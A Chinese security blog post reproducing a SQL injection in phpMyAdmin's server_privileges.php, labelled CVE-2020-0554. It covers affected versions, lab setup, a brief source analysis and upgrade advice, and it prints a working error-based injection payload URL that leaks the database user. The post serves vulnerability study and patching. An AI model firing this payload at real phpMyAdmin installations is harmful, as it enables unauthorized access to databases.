PhpMyadminSQL注入(CVE-2020-0554)复现

  • A+
所属分类:安全文章

简介

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。


影响版本

phpMyAdmin 4 < 4.9.4
phpMyAdmin 5 < 5.0.1

q

环境搭建

为了方便做事,这里我直接用把phpmyadmin文件拖入集成环境中


下载地址

https://files.phpmyadmin.net/phpMyAdmin/5.0.0/phpMyAdmin-5.0.0-english.zip


漏洞复现


需要已知phpMyadmin的一个用户口令


步骤如下

设置变量ajax_requests为true
设置变量validate_username 为真值;
设置变量username 为我们拼接的注入语句。


PAYLOAD:


http://Your-Ip/phpMyAdmin4.8.5/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20user()),0x7e),1))%20--%20

PhpMyadminSQL注入(CVE-2020-0554)复现

漏洞分析


漏洞定位 librariesclassesServerPrivileges.phpusername和validate_username都可控

PhpMyadminSQL注入(CVE-2020-0554)复现

可以看到if处于getExtraDataForAjaxBehavior函数内

PhpMyadminSQL注入(CVE-2020-0554)复现

跳转到文件phpMyAdmin-5.0.0-englishserver_privileges.php

extra_data触发了此函数

PhpMyadminSQL注入(CVE-2020-0554)复现

看看isAjax函数,全局定位

PhpMyadminSQL注入(CVE-2020-0554)复现

可以发现ajax_requestREQUEST传输过来了,即可控其值

PhpMyadminSQL注入(CVE-2020-0554)复现


修复建议


升级到安全版本


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: